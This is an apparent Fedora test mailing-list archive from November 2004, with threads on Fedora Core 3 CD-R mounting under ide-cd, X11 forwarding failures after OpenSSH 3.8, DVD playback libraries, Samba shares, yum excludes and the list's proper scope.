<1100728130.9683.12.camel@apple.bananas.hopto.org> <20041117220743.GD20863@redhat.com> Message-ID: <1100729602.3447.3.camel@oscar.metro1.com> Could be a red-herring, but I peeked into the 667 and 678(SMP versions). It looks like the only difference is "dm_mod" I'm not sure what this module does, but it looks important. On Wed, 2004-11-17 at 17:07 -0500, Dave Jones wrote: > On Wed, Nov 17, 2004 at 09:48:50PM +0000, Si Jones wrote: > > Am having the same problem as well: > > > > SATA Drive is connected to the Nvidia nforce3, Athlon64. > > > > Need any more info? > > Ugh, yours is the first I've seen that isn't Intel ICH hardware. > That's erm, worrying. Please file a separate bug for now. > If they turn out to be related, we can always close->dup it > later. > > Dave > From pauljohn at ku.edu Wed Nov 17 22:12:38 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Wed, 17 Nov 2004 16:12:38 -0600 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? Message-ID: <419BCCD6.40305@ku.edu> I asked about this before in here and got some good hints. I still can't mount cdr's I've written on my Inspiron 8600 laptop with the NEC ND-5100a CD/DVD+RW. The symptom is that CDRs won't mount and the output to /var/log/messages says the disk is timing out: kernel: hdc: irq timeout: status=0xd0 { Busy } kernel: hdc: irq timeout: error=0xd0LastFailedSense 0x0d kernel: hdc: DMA disabled kernel: hdc: ATAPI reset complete I've been reading everywhere about cdrom/dvd problems in linux. I note that this error has been observed now and then since 1998, and there's never a very good explanation of what's wrong. Some people suspect hardware failure. I have made bug reports, first to the redhat bugzilla: http://bugzilla.kernel.org/show_bug.cgi?id=3755 And then last night to the kernel.org itself. http://bugzilla.kernel.org/show_bug.cgi?id=3755 The important new information is that when starting with no kernel option or with hdc=ide-cd, I CAN mount cdrom's printed at the factory (Microsoft, for example), but cannot mount CDRs that I write. I found at least one bug reporter who contended that the way Fedora core 2 writes the "last part" of a CDR is not managed well by the ide-cd module. On the other hand, ide-scsi can mount either kind of disk. Before I found that ide-scsi would cause disks to be mounted, I was thinking the problem was in the CD-DVD+RW device itself. People have contended to me that when you lose the ability to read CDRs, it is a signal that your laser is getting weak, because the CDRs you make yourself are not so sharp and clear as the one the factory makes with its high quality writers. There may still be some truth in that, but I think that if it really was the cause of trouble, then setting hdc=ide-scsi would not help. It seems to me the problem has to be in the ide-cd support. This bug report on kernel.org suggests as much, but I do not know if the author is correct or not: http://bugzilla.kernel.org/show_bug.cgi?id=3362 Here's what I don't understand: If there is some bug in CD reading, why doesn't it affect all Linux systems. Why just a few of us? -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From alan at redhat.com Wed Nov 17 22:36:19 2004 From: alan at redhat.com (Alan Cox) Date: Wed, 17 Nov 2004 17:36:19 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <419BCCD6.40305@ku.edu> References: <419BCCD6.40305@ku.edu> Message-ID: <20041117223619.GB4119@devserv.devel.redhat.com> On Wed, Nov 17, 2004 at 04:12:38PM -0600, Paul Johnson wrote: > option or with hdc=ide-cd, I CAN mount cdrom's printed at the factory > (Microsoft, for example), but cannot mount CDRs that I write. I found > at least one bug reporter who contended that the way Fedora core 2 > writes the "last part" of a CDR is not managed well by the ide-cd > module. On the other hand, ide-scsi can mount either kind of disk. Wonderful, I think you've made the little lightbulb come on. It had been baffling me why this affects iso mounting and I suddenely have an idea. Can you try ide-cd and do mount -t iso9660 .... with a CD-R and see if that works > Here's what I don't understand: If there is some bug in CD reading, why > doesn't it affect all Linux systems. Why just a few of us? Some drives told to read over the end of the true media appear to report no error and compensate in firmare, somne appear to throw errors at the kernel in protest. Both behaviours are legal for the drive. From lux at diesel-research.com Wed Nov 17 22:46:17 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 15:46:17 -0700 Subject: X Windows apps crash when XForwarded over ssh. Message-ID: <1100731577.3766.9.camel@zd7280> For example: # system-config-securitylevel The program 'system-config-securitylevel' received an X Window System error. This probably reflects a bug in the program. The error was 'BadWindow (invalid Window parameter)'. (Details: serial 66 error_code 3 request_code 25 minor_code 0) (Note to programmers: normally, X errors are reported asynchronously; that is, you will receive the error a while after causing it. To debug your program, run it with the --sync command line option to change this behavior. You can then get a meaningful backtrace from your debugger if you break on the gdk_x_error() function.) kwrite does the same thing, but system-config-services worked fine. Server is running FC3 server install with X windows and KDE enabled. No problems running these apps natively. Recently ran yum update and received a new ssh and kernel. Server: # rpm -q openssh openssh-3.9p1-7 kernel = 2.6.9.678 Host is running FC3. Host: rpm -q openssh openssh-3.9p1-7 kernel = 2.6.9.677 -- Kim Lux (Mr.) Diesel Research Inc From walters at redhat.com Wed Nov 17 22:52:39 2004 From: walters at redhat.com (Colin Walters) Date: Wed, 17 Nov 2004 17:52:39 -0500 Subject: X Windows apps crash when XForwarded over ssh. In-Reply-To: <1100731577.3766.9.camel@zd7280> References: <1100731577.3766.9.camel@zd7280> Message-ID: <1100731959.12098.50.camel@nexus.verbum.private> On Wed, 2004-11-17 at 15:46 -0700, Kim Lux wrote: > For example: > > # system-config-securitylevel > The program 'system-config-securitylevel' received an X Window System > error. Did you forward with -Y? From ad+lists at uni-x.org Thu Nov 18 00:13:32 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 01:13:32 +0100 Subject: to whom it concerns ... Message-ID: <1100736812.8819.37.camel@serendipity.dogma.lan> Hello! I want to remember that this list is "For testers of Fedora Core development releases". Many postings - for example those by Kim Lux - are not test version related but are user questions. It would be easier to follow development of Fedora and discussion about problems and advances if people running stable systems and not test (development/rawhide) packages would choose the proper mailing list for their needs. Please see Elliot's last reminder: http://www.redhat.com/archives/fedora-test-list/2004-October/msg01018.html Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 01:13:24 up 2:59, 16 users, 0.57, 0.90, 1.05 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From lux at diesel-research.com Thu Nov 18 00:14:53 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 17:14:53 -0700 Subject: X Windows apps crash when XForwarded over ssh. In-Reply-To: <1100731959.12098.50.camel@nexus.verbum.private> References: <1100731577.3766.9.camel@zd7280> <1100731959.12098.50.camel@nexus.verbum.private> Message-ID: <1100736893.4013.15.camel@zd7280> I forwarded with -X when I got the errors. It seems to work well with "-Y". Thanks On Wed, 2004-11-17 at 17:52 -0500, Colin Walters wrote: > On Wed, 2004-11-17 at 15:46 -0700, Kim Lux wrote: > > For example: > > > > # system-config-securitylevel > > The program 'system-config-securitylevel' received an X Window System > > error. > > Did you forward with -Y? > > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Thu Nov 18 00:16:14 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 17:16:14 -0700 Subject: to whom it concerns ... In-Reply-To: <1100736812.8819.37.camel@serendipity.dogma.lan> References: <1100736812.8819.37.camel@serendipity.dogma.lan> Message-ID: <1100736974.4013.17.camel@zd7280> I take it that issues we find with FC3 stuff isn't fodder for this group anymore being that it is "stable" ? On Thu, 2004-11-18 at 01:13 +0100, Alexander Dalloz wrote: > Hello! > > I want to remember that this list is "For testers of Fedora Core > development releases". Many postings - for example those by Kim Lux - > are not test version related but are user questions. > > It would be easier to follow development of Fedora and discussion about > problems and advances if people running stable systems and not test > (development/rawhide) packages would choose the proper mailing list for > their needs. Please see Elliot's last reminder: > > http://www.redhat.com/archives/fedora-test-list/2004-October/msg01018.html > > Alexander > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From pauljohn at ku.edu Thu Nov 18 00:14:47 2004 From: pauljohn at ku.edu (Paul Johnson) Date: Wed, 17 Nov 2004 18:14:47 -0600 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <20041117223619.GB4119@devserv.devel.redhat.com> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> Message-ID: <419BE977.3040001@ku.edu> Now we are talking! Rebooted with ide-cd and put in a cdrom and that irq timeout crapola started spewing. But then I realized I needed to try to stop the "automounter" or whatever that hal thing is. So I pushed the eject button and waited for error messages to clear, then topped haldaemon. And then SUCCESS! with: mount -t iso9660 /dev/cdrom /mnt/cdrom That worked with a CDR I wrote. I was suspicious that this reallly fixed it, then unmounted and tried mount /dev/cdrom /mnt/cdrom And those irq timeout errors happened again. What next? Can I configure the hal or udev to get this right? I don't really see what haldaemon does for me anyway. I suppose it would mount a usb stick if I put it in? (don't have one, though). When I first installed FC3, the dos partitions and unused fc3 partitions were listed as /media/idedisk1, /media/idedisk2, and so forth. But those disappeared, I have no idea why... pj Alan Cox wrote: > On Wed, Nov 17, 2004 at 04:12:38PM -0600, Paul Johnson wrote: > >>option or with hdc=ide-cd, I CAN mount cdrom's printed at the factory >>(Microsoft, for example), but cannot mount CDRs that I write. I found >>at least one bug reporter who contended that the way Fedora core 2 >>writes the "last part" of a CDR is not managed well by the ide-cd >>module. On the other hand, ide-scsi can mount either kind of disk. > > > Wonderful, I think you've made the little lightbulb come on. It had been > baffling me why this affects iso mounting and I suddenely have an idea. > > Can you try ide-cd and do > > mount -t iso9660 .... > > with a CD-R and see if that works > > >>Here's what I don't understand: If there is some bug in CD reading, why >>doesn't it affect all Linux systems. Why just a few of us? > > > Some drives told to read over the end of the true media appear to report > no error and compensate in firmare, somne appear to throw errors at the > kernel in protest. Both behaviours are legal for the drive. > -- Paul E. Johnson email: pauljohn at ku.edu Dept. of Political Science http://lark.cc.ku.edu/~pauljohn 1541 Lilac Lane, Rm 504 University of Kansas Office: (785) 864-9086 Lawrence, Kansas 66044-3177 FAX: (785) 864-5700 From ksnider at flarn.com Thu Nov 18 00:30:42 2004 From: ksnider at flarn.com (Ken Snider) Date: Wed, 17 Nov 2004 19:30:42 -0500 Subject: to whom it concerns ... In-Reply-To: <1100736974.4013.17.camel@zd7280> References: <1100736812.8819.37.camel@serendipity.dogma.lan> <1100736974.4013.17.camel@zd7280> Message-ID: <419BED32.1010905@flarn.com> Kim Lux wrote: > I take it that issues we find with FC3 stuff isn't fodder for this group > anymore being that it is "stable" ? I would think that at this point it is better directed at either fedora-users, or fedora-devel (or even fedora-selinux), depending on content. However, for issues like the ide-cd driver, they are obviously ongoing and continue to affect rawhide as well as FC3, and as such I'd think they're topical here as well. -- Ken Snider From ad+lists at uni-x.org Thu Nov 18 00:39:41 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 01:39:41 +0100 Subject: to whom it concerns ... In-Reply-To: <1100736974.4013.17.camel@zd7280> References: <1100736812.8819.37.camel@serendipity.dogma.lan> <1100736974.4013.17.camel@zd7280> Message-ID: <1100738381.8819.45.camel@serendipity.dogma.lan> Am Do, den 18.11.2004 schrieb Kim Lux um 1:16: > I take it that issues we find with FC3 stuff isn't fodder for this group > anymore being that it is "stable" ? > Kim Lux (Mr.) Diesel Research Inc "For testers of Fedora Core development releases " A stable release is no development release, and as FC3 is stable since nearly 2 weeks ... Of course you can face development issues if you run a stable Fedora Core and just specific development packages. Then problems regarding this development software would be right here. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 01:39:15 up 3:25, 16 users, 0.79, 0.80, 0.83 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From ad+lists at uni-x.org Thu Nov 18 00:40:41 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 01:40:41 +0100 Subject: X Windows apps crash when XForwarded over ssh. In-Reply-To: <1100736893.4013.15.camel@zd7280> References: <1100731577.3766.9.camel@zd7280> <1100731959.12098.50.camel@nexus.verbum.private> <1100736893.4013.15.camel@zd7280> Message-ID: <1100738441.8819.47.camel@serendipity.dogma.lan> Am Do, den 18.11.2004 schrieb Kim Lux um 1:14: > I forwarded with -X when I got the errors. It seems to work well with > "-Y". > Kim Lux (Mr.) Diesel Research Inc Then you should read the complete FC3 release notes. The changed forwarding parameter and other things are mentioned in there. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 01:40:32 up 3:26, 16 users, 1.32, 0.89, 0.85 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From lux at diesel-research.com Thu Nov 18 00:49:08 2004 From: lux at diesel-research.com (Kim Lux) Date: Wed, 17 Nov 2004 17:49:08 -0700 Subject: X Windows apps crash when XForwarded over ssh. In-Reply-To: <1100738441.8819.47.camel@serendipity.dogma.lan> References: <1100731577.3766.9.camel@zd7280> <1100731959.12098.50.camel@nexus.verbum.private> <1100736893.4013.15.camel@zd7280> <1100738441.8819.47.camel@serendipity.dogma.lan> Message-ID: <1100738949.4013.26.camel@zd7280> I did read that and actually just reread that and man ssh. I am unsure what the "not trusted" part of the -X forward had to do with my problem when opening kwrite for example with no file. As far as I can tell, that should have opened fine with -X. Furthermore, you'll note that I was able to open config-system-services and make changes with -X. Is that not then a bug ? It would have been nice to see a better failure error message than the one I saw. I think the new ssh functionality needs a bit of work. On Thu, 2004-11-18 at 01:40 +0100, Alexander Dalloz wrote: > Am Do, den 18.11.2004 schrieb Kim Lux um 1:14: > > > I forwarded with -X when I got the errors. It seems to work well with > > "-Y". > > > Kim Lux (Mr.) Diesel Research Inc > > Then you should read the complete FC3 release notes. The changed > forwarding parameter and other things are mentioned in there. > > Alexander > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list -- Kim Lux (Mr.) Diesel Research Inc From lee_connell at hotmail.com Thu Nov 18 01:07:28 2004 From: lee_connell at hotmail.com (Lee Connell) Date: Wed, 17 Nov 2004 20:07:28 -0500 Subject: freshrpms.net and mp3/dvd playback Message-ID: I installed "i think" all dvd and mp3 libraries and the movie players from freshrpms.net using apt/synaptic. Someone else said they accomplished the playback by downloading from freshrpms.net fc3 repository. I can't get any playback for dvd, anyone give me some help on accomplishing this task. Thank you! Lee From scott.aaron at abc.net.au Thu Nov 18 01:31:12 2004 From: scott.aaron at abc.net.au (Aaron Scott) Date: Thu, 18 Nov 2004 12:31:12 +1100 Subject: freshrpms.net and mp3/dvd playback In-Reply-To: References: Message-ID: <1100741472.24573.60.camel@localhost.localdomain> If you check the list of rpm's for Fedora Core 3 there is a group of related libraries. I use totem for DVD playback. When I install that ( and it's dependencies ) I also install the following: libdvdcss libdvdnav libdvdplay libdvdread You need libdvdcss to do the decryption and libdvdnav to do the menu navigation. Although I think totem uses code from Ogle for that. Any how, if you install those listed libraries and a DVD capable player ( Xine, Totem, mplayer, ogle ) you should be pretty much there. Let me know how you go. Cheers Aaron On Wed, 2004-11-17 at 20:07 -0500, Lee Connell wrote: > I installed "i think" all dvd and mp3 libraries and the movie players from > freshrpms.net using apt/synaptic. Someone else said they accomplished the > playback by downloading from freshrpms.net fc3 repository. I can't get any > playback for dvd, anyone give me some help on accomplishing this task. > Thank you! > > Lee > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From mike at bristolreccc.co.uk Wed Nov 17 21:07:06 2004 From: mike at bristolreccc.co.uk (mike) Date: Wed, 17 Nov 2004 21:07:06 +0000 Subject: problem with accessing users home directory Message-ID: <1100725627.3569.6.camel@datacc> I have a FC3 server running samba with various workstations One user ID (not workstation specific) will connect to group share but not their home share. The situation is the same testing on the server ie: smbmount //data_cc/user data2 it appearsto mount but I get this with ls -l ?--------- ? ? ? ? ? data ?--------- ? ? ? ? ? data1 ?--------- ? ? ? ? ? data2 any ideas From fct-cornette at insight.rr.com Thu Nov 18 02:49:44 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Wed, 17 Nov 2004 21:49:44 -0500 Subject: to whom it concerns ... In-Reply-To: <1100738381.8819.45.camel@serendipity.dogma.lan> References: <1100736812.8819.37.camel@serendipity.dogma.lan> <1100736974.4013.17.camel@zd7280> <1100738381.8819.45.camel@serendipity.dogma.lan> Message-ID: <419C0DC8.1020005@insight.rr.com> Alexander Dalloz wrote: > Am Do, den 18.11.2004 schrieb Kim Lux um 1:16: > > >>I take it that issues we find with FC3 stuff isn't fodder for this group >>anymore being that it is "stable" ? > > >>Kim Lux (Mr.) Diesel Research Inc > > > "For testers of Fedora Core development releases > " > > A stable release is no development release, and as FC3 is stable since > nearly 2 weeks ... Of course you can face development issues if you run > a stable Fedora Core and just specific development packages. Then > problems regarding this development software would be right here. > > Alexander > > > Having discussions regarding failures on important hardware within the OS seem to be good subject matter for this list. I have 2000 messages from fedora-list at the moment (not read through yet) and would have missed the kernel panic issues with the Dell Optiplex. I have a computer of this type and wouldn't have seen this topic on the fedora-list. (Not upgraded to kernel version yet. Also, a lot of developers are most likely limited in time to monitor the fedora-list due to high volume and would not have noticed this problem. Jim From P.R.Schaffner at IEEE.org Thu Nov 18 02:52:21 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Wed, 17 Nov 2004 21:52:21 -0500 Subject: problem with accessing users home directory In-Reply-To: <1100725627.3569.6.camel@datacc> References: <1100725627.3569.6.camel@datacc> Message-ID: <1100746341.6929.15.camel@tabb1.tabb> On Wed, 2004-11-17 at 21:07 +0000, mike wrote: > I have a FC3 server running samba with various workstations > > One user ID (not workstation specific) will connect to group share but > not their home share. > > The situation is the same testing on the server ie: > > smbmount //data_cc/user data2 > > it appearsto mount but I get this with ls -l > > ?--------- ? ? ? ? ? data > ?--------- ? ? ? ? ? data1 > ?--------- ? ? ? ? ? data2 > > any ideas No, but perhaps if you explain in more detail - the question is not clear - and try fedora-list, unless this is a test version of samba. Phil From ad+lists at uni-x.org Thu Nov 18 04:33:24 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 05:33:24 +0100 Subject: X Windows apps crash when XForwarded over ssh. In-Reply-To: <1100738949.4013.26.camel@zd7280> References: <1100731577.3766.9.camel@zd7280> <1100731959.12098.50.camel@nexus.verbum.private> <1100736893.4013.15.camel@zd7280> <1100738441.8819.47.camel@serendipity.dogma.lan> <1100738949.4013.26.camel@zd7280> Message-ID: <1100752404.8819.120.camel@serendipity.dogma.lan> Am Do, den 18.11.2004 schrieb Kim Lux um 1:49: > I did read that and actually just reread that and man ssh. > > I am unsure what the "not trusted" part of the -X forward had to do with > my problem when opening kwrite for example with no file. As far as I > can tell, that should have opened fine with -X. Furthermore, you'll > note that I was able to open config-system-services and make changes > with -X. Is that not then a bug ? No. See the OpenSSH 3.8 release notes: Changes since OpenSSH 3.7.1: ============================ * ssh(1) now uses untrusted cookies for X11-Forwarding. Some X11 applications might need full access to the X11 server, see ForwardX11Trusted in ssh(1) and xauth(1) for more information. From the OpenSSH FAQ: 3.13 - I upgraded to OpenSSH 3.8 and some X11 programs stopped working. As documented in the 3.8 release notes, ssh will now use untrusted X11 cookies by default. The previous behaviour can be restored by setting ForwardX11Trusted yes in ssh_config. Possible symptoms include: BadWindow (invalid Window parameter) BadAccess (attempt to access private resource denied) X Error of failed request: BadAtom (invalid Atom parameter) Major opcode of failed request: 20 (X_GetProperty) > It would have been nice to see a better failure error message than the > one I saw. > > I think the new ssh functionality needs a bit of work. What kind of work? A fool proof error messages? > Kim Lux (Mr.) Diesel Research Inc Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 05:31:27 up 7:17, 16 users, 1.62, 0.97, 0.74 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From wtogami at redhat.com Thu Nov 18 04:42:51 2004 From: wtogami at redhat.com (Warren Togami) Date: Wed, 17 Nov 2004 18:42:51 -1000 Subject: Rage 128 - FC3 Testing Needed Message-ID: <419C284B.1080701@redhat.com> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=138822 System freezes after logout (Rage 128) unless you disable DRI. If you are a FC3 user with Rage 128 video, your assistance in testing is required for this issue. Even if you do not experience this issue on your Rage 128, your testing would be greatly appreciated in order to avoid introducing a possible regression. http://people.redhat.com/wtogami/temp/xorg/ i386 packages with a candidate fix for this issue can be downloaded from here. Please answer these questions when you report your findings: 1) Does your entire FC3 system lockup after logging out from a GNOME session and X restarts? 2) Does the above packages solve this problem? 3) Does the above packages introduce any new problems? Thanks, Warren Togami wtogami at redhat.com From ad+lists at uni-x.org Thu Nov 18 04:51:29 2004 From: ad+lists at uni-x.org (Alexander Dalloz) Date: Thu, 18 Nov 2004 05:51:29 +0100 Subject: to whom it concerns ... In-Reply-To: <419C0DC8.1020005@insight.rr.com> References: <1100736812.8819.37.camel@serendipity.dogma.lan> <1100736974.4013.17.camel@zd7280> <1100738381.8819.45.camel@serendipity.dogma.lan> <419C0DC8.1020005@insight.rr.com> Message-ID: <1100753489.8819.139.camel@serendipity.dogma.lan> Am Do, den 18.11.2004 schrieb Jim Cornette um 3:49: > Having discussions regarding failures on important hardware within the > OS seem to be good subject matter for this list. I have 2000 messages > from fedora-list at the moment (not read through yet) and would have > missed the kernel panic issues with the Dell Optiplex. I have a computer > of this type and wouldn't have seen this topic on the fedora-list. (Not > upgraded to kernel version yet. I don't think this is in general a good idea. People tend too quickly that something is a bug. See the "X Windows apps crash when XForwarded over ssh." topic here from today and the one on the developers list "FC3 DNS resolver issue". Ok, hard to handle when an exception is legitimate ;) > Also, a lot of developers are most likely limited in time to monitor the > fedora-list due to high volume and would not have noticed this problem. To what I see, there are Red Hat developers following the users list. And they react if they see something occuring which may touch their work. Dave Jones is watching the list, Ulrich Drepper does reply, Jakub Jelinek, Daniel J. Walsh, Bill Nottingham, Nalin Dahyabhai, Tim Waugh, Harald Hoyer, David Malcolm, ... (shall not be a complete list). > Jim My intention was just to raise the focus on the fact, that FC3 is stable now and people with usual user sorrows should recognize that testing time for FC3 is over and the users list the more appropriate place. Should just have been a pleasant reminder. Alexander -- Alexander Dalloz | Enger, Germany | new address - new key: 0xB366A773 legal statement: http://www.uni-x.org/legal.html Fedora GNU/Linux Core 2 (Tettnang) on Athlon kernel 2.6.8-1.521smp Serendipity 05:47:20 up 7:33, 16 users, 0.37, 0.59, 0.64 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From fct-cornette at insight.rr.com Thu Nov 18 05:24:16 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Thu, 18 Nov 2004 00:24:16 -0500 Subject: to whom it concerns ... In-Reply-To: <1100753489.8819.139.camel@serendipity.dogma.lan> References: <1100736812.8819.37.camel@serendipity.dogma.lan> <1100736974.4013.17.camel@zd7280> <1100738381.8819.45.camel@serendipity.dogma.lan> <419C0DC8.1020005@insight.rr.com> <1100753489.8819.139.camel@serendipity.dogma.lan> Message-ID: <419C3200.8050209@insight.rr.com> Alexander Dalloz wrote: > Am Do, den 18.11.2004 schrieb Jim Cornette um 3:49: > > >>Having discussions regarding failures on important hardware within the >>OS seem to be good subject matter for this list. I have 2000 messages >>from fedora-list at the moment (not read through yet) and would have >>missed the kernel panic issues with the Dell Optiplex. I have a computer >>of this type and wouldn't have seen this topic on the fedora-list. (Not >>upgraded to kernel version yet. > > > I don't think this is in general a good idea. People tend too quickly > that something is a bug. See the "X Windows apps crash when XForwarded > over ssh." topic here from today and the one on the developers list "FC3 > DNS resolver issue". Ok, hard to handle when an exception is legitimate > ;) > At this time between release cycles, hitting rawhide and FC3 testing package issues is what I expect to see posted on this list. The occasional heading off disasters from the final release problems being posted on this list is very helpful. Either way the lower mail volume is very helpful. > >>Also, a lot of developers are most likely limited in time to monitor the >>fedora-list due to high volume and would not have noticed this problem. > > > To what I see, there are Red Hat developers following the users list. > And they react if they see something occuring which may touch their > work. Dave Jones is watching the list, Ulrich Drepper does reply, Jakub > Jelinek, Daniel J. Walsh, Bill Nottingham, Nalin Dahyabhai, Tim Waugh, > Harald Hoyer, David Malcolm, ... (shall not be a complete list). This is good to see happen when a release has been newly released. It is sort of a post QA process, but with more users and more hardware used brings out unknown problems from the development cycle. After slimming down the postings from the release list, I see more postings from developers post FC3 release. Hopefully, bugs will be less for FC4, due to trapping any renegade bugs in FC3. > > >>Jim > > > My intention was just to raise the focus on the fact, that FC3 is stable > now and people with usual user sorrows should recognize that testing > time for FC3 is over and the users list the more appropriate place. > Should just have been a pleasant reminder. I'm greatful the release is now out the door. I'm not sure as to when testing development again would be relatively safe. I'll pass for now. Thanks for the reminder regarding the list purpose. Jim > > Alexander > > > -- To err is human, to forgive is against company policy. From david at fubar.dk Thu Nov 18 06:02:18 2004 From: david at fubar.dk (David Zeuthen) Date: Thu, 18 Nov 2004 01:02:18 -0500 Subject: more information on my trouble reading CDROM's with hdc=ide-cd. Anybody else? In-Reply-To: <419BE977.3040001@ku.edu> References: <419BCCD6.40305@ku.edu> <20041117223619.GB4119@devserv.devel.redhat.com> <419BE977.3040001@ku.edu> Message-ID: <1100757738.3834.8.camel@davidz> Hi Paul, (please avoid top posting) On Wed, 2004-11-17 at 18:14 -0600, Paul Johnson wrote: > mount -t iso9660 /dev/cdrom /mnt/cdrom > > That worked with a CDR I wrote. > I'm curious, what is the output of 'cat /etc/mtab'. Also, does this work even when hald is running? > I was suspicious that this reallly fixed it, then unmounted and tried > > mount /dev/cdrom /mnt/cdrom > > And those irq timeout errors happened again. > And what is the output of the 'cat /etc/mtab' here? Also, does this also fail even when hald is not running? > What next? Can I configure the hal or udev to get this right? > My suspicion is that the fs detection code in mount(1) doesn't get it right (mount(1) tries to detect the filesystem when auto is specified), hence why I'm asking for the /etc/mtab outputs. This may be caused by driver issues in the kernel that is drive specific. I could be wrong though. > I don't really see what haldaemon does for me anyway. I suppose it > would mount a usb stick if I put it in? (don't have one, though). When I > first installed FC3, the dos partitions and unused fc3 partitions were > listed as /media/idedisk1, /media/idedisk2, and so forth. But those > disappeared, I have no idea why... There was a reason for this; the fs detection code in hal isn't complete for ATARAID, hence we could wrongfully add harmful entries to the /etc/fstab file that would result in data loss. So we played it safe. Thanks, David From mpeters at mac.com Thu Nov 18 06:31:33 2004 From: mpeters at mac.com (Michael A. Peters) Date: Thu, 18 Nov 2004 06:31:33 +0000 Subject: freshrpms.net and mp3/dvd playback In-Reply-To: <1100741472.24573.60.camel@localhost.localdomain> (from scott.aaron@abc.net.au on Wed Nov 17 17:31:12 2004) References: <1100741472.24573.60.camel@localhost.localdomain> Message-ID: <1100759493l.2367l.3l@devel.mpeters.us> On 11/17/2004 05:31:12 PM, Aaron Scott wrote: > if you install those listed libraries and a DVD capable player > ( Xine, Totem, mplayer, ogle ) you should be pretty much there. I believe the totem with Fedora has dvd playback disabled. The GStreamer plugins for libdvdread/libdvdnav read and load - but I think the upstream GStreamer backend developer has disabled dvd playback in totem, I can't get it to work (I have gotten it to work in older GStreamer backend totem) and the ChangeLog seems to indicate it has been disabled currently, I'm guessing some of the major hacking that went on with it broke it. But totem-xine can play dvd's. I don't use that, but I do use ogle - it works well, you can get it from rpm.livna.org From DwaineGarden at rogers.com Thu Nov 18 07:04:30 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Thu, 18 Nov 2004 02:04:30 -0500 Subject: Yum excluding openoffice from update Message-ID: <419C497E.708@rogers.com> I'm trying to exclude openoffice from the yum download. I can not figure it out. What the exclude parameter to proceed with the update. I tried this. But it did not work. yum --exclude=openoffice.org-libs update --> Running transaction check --> Processing Dependency: libdb_cxx-4.2.so for package: openoffice.org-libs --> Finished Dependency Resolution Error: missing dep: libdb_cxx-4.2.so for pkg openoffice.org-libs Thanks. Dwaine. From skvidal at phy.duke.edu Thu Nov 18 07:08:33 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 18 Nov 2004 02:08:33 -0500 Subject: Yum excluding openoffice from update In-Reply-To: <419C497E.708@rogers.com> References: <419C497E.708@rogers.com> Message-ID: <1100761713.6336.39.camel@cutter> On Thu, 2004-11-18 at 02:04 -0500, Dwaine Garden wrote: > I'm trying to exclude openoffice from the yum download. I can not > figure it out. What the exclude parameter to proceed with the update. > > I tried this. But it did not work. > > yum --exclude=openoffice.org-libs update > > --> Running transaction check > --> Processing Dependency: libdb_cxx-4.2.so for package: openoffice.org-libs > --> Finished Dependency Resolution > Error: missing dep: libdb_cxx-4.2.so for pkg openoffice.org-libs > just for fun, try this: yum --exclude=openoffice\* update -sv From DwaineGarden at rogers.com Thu Nov 18 07:13:40 2004 From: DwaineGarden at rogers.com (Dwaine Garden) Date: Thu, 18 Nov 2004 02:13:40 -0500 Subject: Yum excluding openoffice from update In-Reply-To: <1100761713.6336.39.camel@cutter> References: <419C497E.708@rogers.com> <1100761713.6336.39.camel@cutter> Message-ID: <419C4BA4.7070507@rogers.com> 